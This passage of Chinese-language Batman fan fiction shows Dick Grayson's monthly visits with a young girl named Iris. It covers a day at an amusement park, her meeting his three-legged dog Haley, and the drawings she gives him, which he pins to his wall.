“那听起来还行,迪克你认为呢?” “行。” “我觉得非常好。” “行。” 艾瑞斯满意地点点头。 “那好吧。” 28. 那天早上,迪克没有走成。 他被艾瑞斯拉着,在游乐园里玩了半天。 布鲁斯坐在不远处的长椅上,手里拿着一份报纸,但眼睛一直往这边看。 阿福端带来茶点,方便投喂艾瑞斯。 阳光很好。 29. 后来,每个月真的有那么一天。 有时候迪克回哥谭,带她去公园、去动物园、去吃冰淇淋。有时候艾瑞斯去布鲁德海文——当然是有人陪着去的——在他的小公寓里待一天,看海莉,在阳台上种花,听他讲布鲁德海文的故事。 海莉第一次见到艾瑞斯的时候,颠着三条腿跑过来,圆溜溜的眼睛好奇地盯着这个小不点。艾瑞斯蹲下来,小心翼翼地伸出手。 海莉舔了舔她的手指。 艾瑞斯笑了,缺的牙齿也长了起来。。 “她喜欢我。” “嗯,她喜欢你。” 30. 艾瑞斯每次都会带一张画给迪克。 有时候是公园,有时候是花,有时候是两个人手牵着手。 有时候是海莉。 三条腿的小狗,毛色画得不太准,但那圆溜溜的眼睛和下垂的大耳朵,一看就知道是谁。 迪克把那些画都贴在墙上。 贴得满满当当。 海莉的狗窝旁边也贴了一张。 艾瑞斯画的,一只三条腿的小狗,吐着舌头,旁边写着:海莉。